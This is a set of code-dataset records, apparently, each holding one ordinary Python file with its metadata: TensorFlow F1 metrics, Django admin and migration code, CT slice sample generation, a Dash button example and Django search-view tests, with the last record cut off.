| 0
|
0
| 8
|
8a52883a9534d9a7136274cb47aab3a8f6b46ca5
| 4,725
|
py
|
Python
|
src/utils/tf_helper.py
|
thibault-djaballah/multrigger-word
|
1a60e57057ad5bb78efd6e38bd3efc5f6f26ee3d
|
[
"MIT"
] | null | null | null |
src/utils/tf_helper.py
|
thibault-djaballah/multrigger-word
|
1a60e57057ad5bb78efd6e38bd3efc5f6f26ee3d
|
[
"MIT"
] | null | null | null |
src/utils/tf_helper.py
|
thibault-djaballah/multrigger-word
|
1a60e57057ad5bb78efd6e38bd3efc5f6f26ee3d
|
[
"MIT"
] | null | null | null |
import tensorflow as tf
def f1_scores_1(y_true, y_pred):
"""Computes 3 different f1 scores (micro, macro, weighted).
micro: f1-score based on overall precision and recall
macro: average f1-score on all classes
weighted: weighted average of f1-scores on all classes, using the number of supporting observations of each class
Args:
y_true (Tensor): predictions, same shape as y
y_pred (Tensor): labels, with shape (batch_size, num_classes)
thresh: probability value beyond which we predict positive
Returns:
tuple(Tensor): (micro, macro, weighted) tuple of the computed f1 scores
"""
f1s = [0, 0, 0]
y_pred = tf.cast(tf.round(y_pred), tf.float32)
for i, axis in enumerate([None, 0]):
TP = tf.cast(tf.count_nonzero(y_pred * y_true, axis=axis), tf.float32)
FP = tf.cast(tf.count_nonzero(y_pred * (1 - y_true), axis=axis), tf.float32)
FN = tf.cast(tf.count_nonzero((1 - y_pred) * y_true, axis=axis), tf.float32)
precision = TP / (TP + FP + 1e-16)
recall = TP / (TP + FN + 1e-16)
f1 = 2 * precision * recall / (precision + recall + 1e-16)
f1s[i] = tf.reduce_mean(f1)
weights = tf.reduce_sum(y_pred, axis=0)
weights /= tf.reduce_sum(weights)
f1s[2] = tf.reduce_sum(f1 * weights)
return f1s[0]
def f1_scores_2(y_true, y_pred):
"""Computes 3 different f1 scores (micro, macro, weighted).
micro: f1-score based on overall precision and recall
macro: average f1-score on all classes
weighted: weighted average of f1-scores on all classes, using the number of supporting observations of each class
Args:
y_true (Tensor): predictions, same shape as y
y_pred (Tensor): labels, with shape (batch_size, num_classes)
thresh: probability value beyond which we predict positive
Returns:
tuple(Tensor): (micro, macro, weighted) tuple of the computed f1 scores
"""
f1s = [0, 0, 0]
y_pred = tf.cast(tf.round(y_pred), tf.float32)
for i, axis in enumerate([None, 0]):
TP = tf.cast(tf.count_nonzero(y_pred * y_true, axis=axis), tf.float32)
FP = tf.cast(tf.count_nonzero(y_pred * (1 - y_true), axis=axis), tf.float32)
FN = tf.cast(tf.count_nonzero((1 - y_pred) * y_true, axis=axis), tf.float32)
precision = TP / (TP + FP + 1e-16)
recall = TP / (TP + FN + 1e-16)
f1 = 2 * precision * recall / (precision + recall + 1e-16)
f1s[i] = tf.reduce_mean(f1)
weights = tf.reduce_sum(y_pred, axis=0)
weights /= tf.reduce_sum(weights)
f1s[2] = tf.reduce_sum(f1 * weights)
return f1s[1]
def f1_scores_3(y_true, y_pred):
"""Computes 3 different f1 scores (micro, macro, weighted).
micro: f1-score based on overall precision and recall
macro: average f1-score on all classes
weighted: weighted average of f1-scores on all classes, using the number of supporting observations of each class
Args:
y_true (Tensor): predictions, same shape as y
y_pred (Tensor): labels, with shape (batch_size, num_classes)
Returns:
tuple(Tensor): (micro, macro, weighted) tuple of the computed f1 scores
"""
f1s = [0, 0, 0]
y_pred = tf.cast(tf.round(y_pred), tf.float32)
for i, axis in enumerate([None, 0]):
TP = tf.cast(tf.count_nonzero(y_pred * y_true, axis=axis), tf.float32)
FP = tf.cast(tf.count_nonzero(y_pred * (1 - y_true), axis=axis), tf.float32)
FN = tf.cast(tf.count_nonzero((1 - y_pred) * y_true, axis=axis), tf.float32)
precision = TP / (TP + FP + 1e-16)
recall = TP / (TP + FN + 1e-16)
f1 = 2 * precision * recall / (precision + recall + 1e-16)
f1s[i] = tf.reduce_mean(f1)
weights = tf.reduce_sum(y_pred, axis=0)
weights /= tf.reduce_sum(weights)
f1s[2] = tf.reduce_sum(f1 * weights)
return f1s[2]
def _soft_f1_macro(y_hat, y):
"""Computes the soft macro f1-score (average f1-score when we consider probability predictions for each class)
Args:
y_hat (Tensor): predictions, same shape as y
y (Tensor): labels, with shape (batch_size, num_classes)
Returns:
tuple(Tensor): (micro, macro, weighted) tuple of the computed f1 scores
"""
y = tf.cast(y, tf.float32)
y_hat = tf.cast(y_hat, tf.float32)
TP = tf.reduce_sum(y_hat * y, axis=0)
FP = tf.reduce_sum(y_hat * (1 - y), axis=0)
FN = tf.reduce_sum((1 - y_hat) * y, axis=0)
precision = TP / (TP + FP + 1e-16)
recall = TP / (TP + FN + 1e-16)
f1 = 2 * precision * recall / (precision + recall + 1e-16)
# reduce 1-f1 in order to increase f1
soft_f1 = 1 - f1
soft_f1 = tf.reduce_mean(soft_f1)
return soft_f1
| 43.348624
| 117
| 0.639153
| 744
| 4,725
| 3.935484
| 0.116935
| 0.040984
| 0.032787
| 0.039959
| 0.893101
| 0.877391
| 0.877391
| 0.867145
| 0.867145
| 0.867145
| 0
| 0.044314
| 0.240635
| 4,725
| 109
| 118
| 43.348624
| 0.771739
| 0.39873
| 0
| 0.724138
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.068966
| false
| 0
| 0.017241
| 0
| 0.155172
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8a53b9ff6e9bb08764e62d6f55fe27377a29aaed
| 162
|
py
|
Python
|
final code/ecommerce/inventory/admin.py
|
veryacademy/django-ninja-crud
|
0d58caca218873096375615624d0fc3bf6a6d4f4
|
[
"MIT"
] | 1
|
2022-03-16T03:24:08.000Z
|
2022-03-16T03:24:08.000Z
|
start code/ecommerce/inventory/admin.py
|
veryacademy/django-ninja-crud
|
0d58caca218873096375615624d0fc3bf6a6d4f4
|
[
"MIT"
] | null | null | null |
start code/ecommerce/inventory/admin.py
|
veryacademy/django-ninja-crud
|
0d58caca218873096375615624d0fc3bf6a6d4f4
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from . import models
admin.site.register(models.Category)
admin.site.register(models.Product)
admin.site.register(models.Media)
| 23.142857
| 36
| 0.820988
| 23
| 162
| 5.782609
| 0.478261
| 0.203008
| 0.383459
| 0.518797
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 162
| 7
| 37
| 23.142857
| 0.886667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
8a7b131a2c2ab883f68d2616ffcd0d8f2ace48bb
| 12,044
|
py
|
Python
|
models/Unet_2D/U_net_Sample_Generator.py
|
LongxiZhou/DLPE-method
|
ed20abc91e27423c7ff677a009cfd99314730217
|
[
"BSD-3-Clause"
] | null | null | null |
models/Unet_2D/U_net_Sample_Generator.py
|
LongxiZhou/DLPE-method
|
ed20abc91e27423c7ff677a009cfd99314730217
|
[
"BSD-3-Clause"
] | null | null | null |
models/Unet_2D/U_net_Sample_Generator.py
|
LongxiZhou/DLPE-method
|
ed20abc91e27423c7ff677a009cfd99314730217
|
[
"BSD-3-Clause"
] | 1
|
2021-08-22T14:29:58.000Z
|
2021-08-22T14:29:58.000Z
|
import Functions
import numpy as np
import os
def slicing(raw_array, patient_id, time_point, direction, single=True):
# raw_array has shape [512, 512, 512, 2] for [x, y, z, -],
data = raw_array[:, :, :, 0]
mask = raw_array[:, :, :, 1]
# patient_id looks like "xgfy-A000012", time_point looks like "2012-02-19", direction looks like 'X'
if single:
save_dict = Functions.get_father_dict() + '/samples_for_2D_segmentator/single_slice/' + patient_id + '/' + time_point + '/' + direction + '/'
else:
save_dict = Functions.get_father_dict() + '/samples_for_2D_segmentator/five_slices/' + patient_id + '/' + time_point + '/' + direction + '/'
print('patient_id, time_point, direction are:', patient_id, time_point, direction)
if direction == 'X':
for x in range(8, 504, 1):
current_slice_mask = mask[x, :, :]
if np.sum(current_slice_mask) < 5:
continue
else:
if single:
sample = np.zeros([512, 512, 2], 'float32')
sample[:, :, 0] = data[x, :, :]
sample[:, :, 1] = current_slice_mask
Functions.save_np_array(save_dict, str(x), sample)
else:
current_slice_data = data[x, :, :]
pre_five_data = data[x - 8, :, :] # previous 5 mm is 8 slices on x-axis
pre_two_data = data[x - 3, :, :] # previous 2 mm is 3 slices on x-axis
post_five_data = data[x + 8, :, :]
post_two_data = data[x + 3, :, :]
sample = np.zeros([512, 512, 6], 'float32')
sample[:, :, 0] = pre_five_data
sample[:, :, 1] = pre_two_data
sample[:, :, 2] = current_slice_data
sample[:, :, 3] = post_two_data
sample[:, :, 4] = post_five_data
sample[:, :, 5] = current_slice_mask
Functions.save_np_array(save_dict, str(x), sample)
if direction == 'Y':
for y in range(8, 504, 1):
current_slice_mask = mask[:, y, :]
if np.sum(current_slice_mask) < 5:
continue
else:
if single:
sample = np.zeros([512, 512, 2], 'float32')
sample[:, :, 0] = data[:, y, :]
sample[:, :, 1] = current_slice_mask
Functions.save_np_array(save_dict, str(y), sample)
else:
current_slice_data = data[:, y, :]
pre_five_data = data[:, y - 8, :] # previous 5 mm is 8 slices on y-axis
pre_two_data = data[:, y - 3, :] # previous 2 mm is 3 slices on y-axis
post_five_data = data[:, y + 8, :]
post_two_data = data[:, y + 3, :]
sample = np.zeros([512, 512, 6], 'float32')
sample[:, :, 0] = pre_five_data
sample[:, :, 1] = pre_two_data
sample[:, :, 2] = current_slice_data
sample[:, :, 3] = post_two_data
sample[:, :, 4] = post_five_data
sample[:, :, 5] = current_slice_mask
Functions.save_np_array(save_dict, str(y), sample)
if direction == 'Z':
for z in range(5, 507, 1):
current_slice_mask = mask[:, :, z]
if np.sum(current_slice_mask) < 5:
continue
else:
if single:
sample = np.zeros([512, 512, 2], 'float32')
sample[:, :, 0] = data[:, :, z]
sample[:, :, 1] = current_slice_mask
Functions.save_np_array(save_dict, str(z), sample)
else:
current_slice_data = data[:, :, z]
pre_five_data = data[:, :, z - 5] # previous 5 mm is 5 slices on z-axis
pre_two_data = data[:, :, z - 2] # previous 2 mm is 2 slices on z-axis
post_five_data = data[:, :, z + 5]
post_two_data = data[:, :, z + 2]
sample = np.zeros([512, 512, 6], 'float32')
sample[:, :, 0] = pre_five_data
sample[:, :, 1] = pre_two_data
sample[:, :, 2] = current_slice_data
sample[:, :, 3] = post_two_data
sample[:, :, 4] = post_five_data
sample[:, :, 5] = current_slice_mask
Functions.save_np_array(save_dict, str(z), sample)
def slicing_for_zhongxiao(raw_array, patient_id, time_point, aug, direction, single, base_dir):
# raw_array has shape [512, 512, 512, 2] for [x, y, z, -],
data = raw_array[:, :, :, 0]
mask = raw_array[:, :, :, 1]
# patient_id looks like "xgfy-A000012", time_point looks like "2012-02-19", direction looks like 'X'
if single:
save_dict = os.path.join(base_dir,'single_slice/')
else:
save_dict = os.path.join(base_dir,'five_slices/')
print('patient_id, time_point, direction are:', patient_id, time_point, direction)
name_prefix = patient_id + '_' + time_point + '_'+ ("original" if not aug else "aug-%s"%(aug)) + '_' + direction + '_'
if direction == 'X':
for x in range(8, 504, 1):
current_slice_mask = mask[x, :, :]
if np.sum(current_slice_mask) < 5:
continue
else:
if single:
sample = np.zeros([512, 512, 2], 'float32')
sample[:, :, 0] = data[x, :, :]
sample[:, :, 1] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(x), sample)
else:
current_slice_data = data[x, :, :]
pre_five_data = data[x - 8, :, :] # previous 5 mm is 8 slices on x-axis
pre_two_data = data[x - 3, :, :] # previous 2 mm is 3 slices on x-axis
post_five_data = data[x + 8, :, :]
post_two_data = data[x + 3, :, :]
sample = np.zeros([512, 512, 6], 'float32')
sample[:, :, 0] = pre_five_data
sample[:, :, 1] = pre_two_data
sample[:, :, 2] = current_slice_data
sample[:, :, 3] = post_two_data
sample[:, :, 4] = post_five_data
sample[:, :, 5] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(x), sample)
if direction == 'Y':
for y in range(8, 504, 1):
current_slice_mask = mask[:, y, :]
if np.sum(current_slice_mask) < 5:
continue
else:
if single:
sample = np.zeros([512, 512, 2], 'float32')
sample[:, :, 0] = data[:, y, :]
sample[:, :, 1] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(y), sample)
else:
current_slice_data = data[:, y, :]
pre_five_data = data[:, y - 8, :] # previous 5 mm is 8 slices on y-axis
pre_two_data = data[:, y - 3, :] # previous 2 mm is 3 slices on y-axis
post_five_data = data[:, y + 8, :]
post_two_data = data[:, y + 3, :]
sample = np.zeros([512, 512, 6], 'float32')
sample[:, :, 0] = pre_five_data
sample[:, :, 1] = pre_two_data
sample[:, :, 2] = current_slice_data
sample[:, :, 3] = post_two_data
sample[:, :, 4] = post_five_data
sample[:, :, 5] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(y), sample)
if direction == 'Z':
for z in range(5, 507, 1):
current_slice_mask = mask[:, :, z]
if np.sum(current_slice_mask) < 5:
continue
else:
if single:
sample = np.zeros([512, 512, 2], 'float32')
sample[:, :, 0] = data[:, :, z]
sample[:, :, 1] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(z), sample)
else:
current_slice_data = data[:, :, z]
pre_five_data = data[:, :, z - 5] # previous 5 mm is 5 slices on z-axis
pre_two_data = data[:, :, z - 2] # previous 2 mm is 2 slices on z-axis
post_five_data = data[:, :, z + 5]
post_two_data = data[:, :, z + 2]
sample = np.zeros([512, 512, 6], 'float32')
sample[:, :, 0] = pre_five_data
sample[:, :, 1] = pre_two_data
sample[:, :, 2] = current_slice_data
sample[:, :, 3] = post_two_data
sample[:, :, 4] = post_five_data
sample[:, :, 5] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(z), sample)
def slicing_three(raw_array, patient_id, time_point, direction,base_dir):
# raw_array has shape [512, 512, 512, 2] for [x, y, z, -],
data = raw_array[:, :, :, 0]
mask = raw_array[:, :, :, 1]
# patient_id looks like "xgfy-A000012", time_point looks like "2012-02-19", direction looks like 'X'
save_dict = os.path.join('three_slice/')
print('patient_id, time_point, direction are:', patient_id, time_point, direction)
name_prefix = patient_id + '_' + time_point.replace('_', '-') + '_' + direction + '_'
if direction == 'X':
for x in range(8, 504, 1):
current_slice_mask = mask[x, :, :]
if np.sum(current_slice_mask) < 5:
continue
else:
current_slice_data = data[x, :, :]
pre_one_data = data[x - 2, :, :] # previous 1 mm is 2 slices on x-axis
post_one_data = data[x + 2, :, :]
sample = np.zeros([512, 512, 4], 'float32')
sample[:, :, 0] = pre_one_data
sample[:, :, 1] = current_slice_data
sample[:, :, 2] = post_one_data
sample[:, :, 3] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(x), sample)
if direction == 'Y':
for y in range(8, 504, 1):
current_slice_mask = mask[:, y, :]
if np.sum(current_slice_mask) < 5:
continue
else:
current_slice_data = data[:, y, :]
pre_one_data = data[:, y - 2, :] # previous 1 mm is 2 slices on x-axis
post_one_data = data[:, y + 2, :]
sample = np.zeros([512, 512, 4], 'float32')
sample[:, :, 0] = pre_one_data
sample[:, :, 1] = current_slice_data
sample[:, :, 2] = post_one_data
sample[:, :, 3] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(y), sample)
if direction == 'Z':
for z in range(8, 504, 1):
current_slice_mask = mask[:, :, z]
if np.sum(current_slice_mask) < 5:
continue
else:
current_slice_data = data[:, :, z]
pre_one_data = data[:, :, z - 1] # previous 1 mm is 1 slices on x-axis
post_one_data = data[:, :, z + 1]
sample = np.zeros([512, 512, 4], 'float32')
sample[:, :, 0] = pre_one_data
sample[:, :, 1] = current_slice_data
sample[:, :, 2] = post_one_data
sample[:, :, 3] = current_slice_mask
Functions.save_np_array(save_dict, name_prefix + str(z), sample)
| 48.369478
| 149
| 0.47642
| 1,427
| 12,044
| 3.770848
| 0.061668
| 0.113734
| 0.098123
| 0.047389
| 0.962646
| 0.93793
| 0.933098
| 0.910054
| 0.90485
| 0.904107
| 0
| 0.053026
| 0.3909
| 12,044
| 248
| 150
| 48.564516
| 0.68048
| 0.08361
| 0
| 0.909502
| 0
| 0
| 0.034054
| 0.007356
| 0
| 0
| 0
| 0
| 0
| 1
| 0.013575
| false
| 0
| 0.013575
| 0
| 0.027149
| 0.013575
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8a7f37b0e1470aedda97c30393a4158b1d16ddfd
| 571
|
py
|
Python
|
docs/components_page/components/button_group/size.py
|
glsdown/dash-bootstrap-components
|
0ebea4f7de43975f6e3a2958359c4480ae1d4927
|
[
"Apache-2.0"
] | 776
|
2019-02-07T19:36:59.000Z
|
2022-03-31T05:53:04.000Z
|
docs/components_page/components/button_group/size.py
|
glsdown/dash-bootstrap-components
|
0ebea4f7de43975f6e3a2958359c4480ae1d4927
|
[
"Apache-2.0"
] | 350
|
2019-02-05T10:42:19.000Z
|
2022-03-31T19:23:35.000Z
|
docs/components_page/components/button_group/size.py
|
glsdown/dash-bootstrap-components
|
0ebea4f7de43975f6e3a2958359c4480ae1d4927
|
[
"Apache-2.0"
] | 219
|
2019-02-10T13:46:25.000Z
|
2022-03-23T17:03:39.000Z
|
import dash_bootstrap_components as dbc
from dash import html
button_groups = html.Div(
[
dbc.ButtonGroup(
[dbc.Button("Left"), dbc.Button("Middle"), dbc.Button("Right")],
size="lg",
className="me-1",
),
dbc.ButtonGroup(
[dbc.Button("Left"), dbc.Button("Middle"), dbc.Button("Right")],
size="md",
className="me-1",
),
dbc.ButtonGroup(
[dbc.Button("Left"), dbc.Button("Middle"), dbc.Button("Right")],
size="sm",
),
]
)
| 25.954545
| 76
| 0.497373
| 59
| 571
| 4.762712
| 0.372881
| 0.288256
| 0.181495
| 0.245552
| 0.725979
| 0.725979
| 0.725979
| 0.725979
| 0.725979
| 0.725979
| 0
| 0.005208
| 0.327496
| 571
| 21
| 77
| 27.190476
| 0.726563
| 0
| 0
| 0.55
| 0
| 0
| 0.103328
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.1
| 0
| 0.1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8a918f291a94e4de150306ff87fb71e271ad225d
| 5,084
|
py
|
Python
|
physionet-django/search/test_views.py
|
Lucas-Mc/physionet-build
|
77da5da6273cf3f5f2afce95dc5d0ce3302741ca
|
[
"BSD-3-Clause"
] | 36
|
2019-02-14T18:10:39.000Z
|
2022-01-21T12:48:52.000Z
|
physionet-django/search/test_views.py
|
Lucas-Mc/physionet-build
|
77da5da6273cf3f5f2afce95dc5d0ce3302741ca
|
[
"BSD-3-Clause"
] | 1,051
|
2019-01-31T18:03:14.000Z
|
2022-03-31T20:53:04.000Z
|
physionet-django/search/test_views.py
|
Lucas-Mc/physionet-build
|
77da5da6273cf3f5f2afce95dc5d0ce3302741ca
|
[
"BSD-3-Clause"
] | 13
|
2019-03-26T11:02:32.000Z
|
2022-03-17T11:39:49.000Z
|
from django.test import TestCase
from django.utils.html import escape
from django.urls import reverse
class TestProjectSearch(TestCase):
"""
Tests for the project search engine.
"""
def test_search_content(self):
"""
Test the main content index.
"""
url = reverse('content_index')
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
self.assert_link(response, '/content/demobsn/1.0/')
self.assert_link(response, '/content/demoecg/10.5.24/')
self.assert_link(response, '/content/demoeicu/2.0.0/')
self.assert_link(response, '/content/demopsn/1.0/')
self.assert_link(response, '/content/demoselfmanaged/1.0.0/')
# word found in title/abstract
response = self.client.get(url + '?topic=challenge')
self.assertEqual(response.status_code, 200)
self.assert_link(response, '/content/demobsn/1.0/')
self.assert_no_link(response, '/content/demoecg/10.5.24/')
self.assert_no_link(response, '/content/demoeicu/2.0.0/')
self.assert_no_link(response, '/content/demopsn/1.0/')
self.assert_no_link(response, '/content/demoselfmanaged/1.0.0/')
# word not found anywhere
response = self.client.get(url + '?topic=fnord')
self.assertEqual(response.status_code, 200)
self.assert_no_link(response, '/content/demobsn/1.0/')
self.assert_no_link(response, '/content/demoecg/10.5.24/')
self.assert_no_link(response, '/content/demoeicu/2.0.0/')
self.assert_no_link(response, '/content/demopsn/1.0/')
self.assert_no_link(response, '/content/demoselfmanaged/1.0.0/')
# restricted to type 1 (software)
response = self.client.get(url + '?types=1')
self.assertEqual(response.status_code, 200)
self.assert_no_link(response, '/content/demobsn/1.0/')
self.assert_link(response, '/content/demoecg/10.5.24/')
self.assert_no_link(response, '/content/demoeicu/2.0.0/')
self.assert_link(response, '/content/demopsn/1.0/')
self.assert_no_link(response, '/content/demoselfmanaged/1.0.0/')
# restricted to types 0/1 with a word that is only found in 'demobsn'
response = self.client.get(url + '?topic=challenge&types=0&types=1')
self.assertEqual(response.status_code, 200)
self.assert_no_link(response, '/content/demobsn/1.0/')
self.assert_no_link(response, '/content/demoecg/10.5.24/')
self.assert_no_link(response, '/content/demoeicu/2.0.0/')
self.assert_no_link(response, '/content/demopsn/1.0/')
self.assert_no_link(response, '/content/demoselfmanaged/1.0.0/')
# invalid arguments
response = self.client.get(url + '?types=asdfghjk')
self.assertEqual(response.status_code, 200)
response = self.client.get(url + '?orderby=asdfghjk')
self.assertEqual(response.status_code, 200)
def test_search_database(self):
"""
Test the database index.
"""
url = reverse('database_index')
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
self.assert_no_link(response, '/content/demobsn/1.0/')
self.assert_no_link(response, '/content/demoecg/10.5.24/')
self.assert_link(response, '/content/demoeicu/2.0.0/')
self.assert_no_link(response, '/content/demopsn/1.0/')
self.assert_link(response, '/content/demoselfmanaged/1.0.0/')
# word not found in any database projects
response = self.client.get(url + '?topic=challenge')
self.assertEqual(response.status_code, 200)
self.assert_no_link(response, '/content/demobsn/1.0/')
self.assert_no_link(response, '/content/demoecg/10.5.24/')
self.assert_no_link(response, '/content/demoeicu/2.0.0/')
self.assert_no_link(response, '/content/demopsn/1.0/')
self.assert_no_link(response, '/content/demoselfmanaged/1.0.0/')
# invalid arguments
response = self.client.get(url + '?types=asdfghjk')
self.assertEqual(response.status_code, 200)
response = self.client.get(url + '?orderby=asdfghjk')
self.assertEqual(response.status_code, 200)
def assert_link(self, response, url):
"""
Assert that a response contains a link to a given URL.
The body of the response must contain the exact string
'<a href="X"', where X is the HTML-escaped URL. Other links
will not be recognized.
"""
link = '<a href="{}"'.format(escape(url))
self.assertIn(link.encode(), response.content)
def assert_no_link(self, response, url):
"""
Assert that a response does not contain a link to a given URL.
The body of the response must not contain the exact string
'<a href="X"', where X is the HTML-escaped URL. Other links
will be ignored.
"""
link = '<a href="{}"'.format(escape(url))
self.assertNotIn(link.encode(), response.content)
| 43.452991
| 77
| 0.648112
| 673
| 5,084
| 4.777117
| 0.141159
| 0.172628
| 0.206843
| 0.124417
| 0.83888
| 0.83888
| 0.822395
| 0.793157
| 0.769518
| 0.769518
| 0
| 0.035955
| 0.212234
| 5,084
| 116
| 78
| 43.827586
| 0.766792
| 0.141031
| 0
| 0.788732
| 0
| 0
| 0.250416
| 0.210702
| 0
| 0
| 0
| 0
| 0.704225
| 1
| 0.056338
| false
| 0
| 0.042254
| 0
| 0.112676
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
8a9eeb5d8eeab307497181cc7f591d82d97d991a
| 4,254
|
py
|
Python
|
post_office/south_migrations/0002_auto__chg_field_emailtemplate_last_updated__chg_field_emailtemplate_cr.py
|
LeGast00n/django-post_office
|
cfff8a9e824e3352fa897d20b8531723791ebfd3
|
[
"MIT"
] | 2
|
2017-06-21T09:46:55.000Z
|
2018-05-30T10:07:32.000Z
|
post_office/south_migrations/0002_auto__chg_field_emailtemplate_last_updated__chg_field_emailtemplate_cr.py
|
LeGast00n/django-post_office
|
cfff8a9e824e3352fa897d20b8531723791ebfd3
|
[
"MIT"
] | null | null | null |
post_office/south_migrations/0002_auto__chg_field_emailtemplate_last_updated__chg_field_emailtemplate_cr.py
|
LeGast00n/django-post_office
|
cfff8a9e824e3352fa897d20b8531723791ebfd3
|
[
"MIT"
] | 1
|
2020-10-01T04:11:41.000Z
|
2020-10-01T04:11:41.000Z
|
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Changing field 'EmailTemplate.last_updated'
db.alter_column('post_office_emailtemplate', 'last_updated', self.gf('django.db.models.fields.DateTimeField')(auto_now=True))
# Changing field 'EmailTemplate.created'
db.alter_column('post_office_emailtemplate', 'created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True))
# Changing field 'Log.date'
db.alter_column('post_office_log', 'date', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True))
# Changing field 'Email.created'
db.alter_column('post_office_email', 'created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True))
def backwards(self, orm):
# Changing field 'EmailTemplate.last_updated'
db.alter_column('post_office_emailtemplate', 'last_updated', self.gf('django.db.models.fields.DateTimeField')())
# Changing field 'EmailTemplate.created'
db.alter_column('post_office_emailtemplate', 'created', self.gf('django.db.models.fields.DateTimeField')())
# Changing field 'Log.date'
db.alter_column('post_office_log', 'date', self.gf('django.db.models.fields.DateTimeField')())
# Changing field 'Email.created'
db.alter_column('post_office_email', 'created', self.gf('django.db.models.fields.DateTimeField')())
models = {
'post_office.email': {
'Meta': {'ordering': "('-created',)", 'object_name': 'Email'},
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'db_index': 'True', 'blank': 'True'}),
'from_email': ('django.db.models.fields.CharField', [], {'max_length': '254'}),
'html_message': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'last_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'db_index': 'True', 'blank': 'True'}),
'message': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'priority': ('django.db.models.fields.PositiveSmallIntegerField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'status': ('django.db.models.fields.PositiveSmallIntegerField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'subject': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'to': ('django.db.models.fields.EmailField', [], {'max_length': '254'})
},
'post_office.emailtemplate': {
'Meta': {'ordering': "('name',)", 'object_name': 'EmailTemplate'},
'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'html_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'last_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'subject': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'})
},
'post_office.log': {
'Meta': {'ordering': "('-date',)", 'object_name': 'Log'},
'date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'db_index': 'True', 'blank': 'True'}),
'email': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'logs'", 'to': "orm['post_office.Email']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'message': ('django.db.models.fields.TextField', [], {}),
'status': ('django.db.models.fields.PositiveSmallIntegerField', [], {'db_index': 'True'})
}
}
complete_apps = ['post_office']
| 59.083333
| 137
| 0.606723
| 462
| 4,254
| 5.430736
| 0.151515
| 0.098844
| 0.167397
| 0.239139
| 0.809884
| 0.797927
| 0.79155
| 0.760462
| 0.701076
| 0.653248
| 0
| 0.004868
| 0.179126
| 4,254
| 72
| 138
| 59.083333
| 0.713631
| 0.070757
| 0
| 0.061224
| 0
| 0
| 0.53068
| 0.316684
| 0
| 0
| 0
| 0
| 0
| 1
| 0.040816
| false
| 0
| 0.081633
| 0
| 0.183673
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
76d9e245d834d62d748697b5850feafe758f13d8
| 93
|
py
|
Python
|
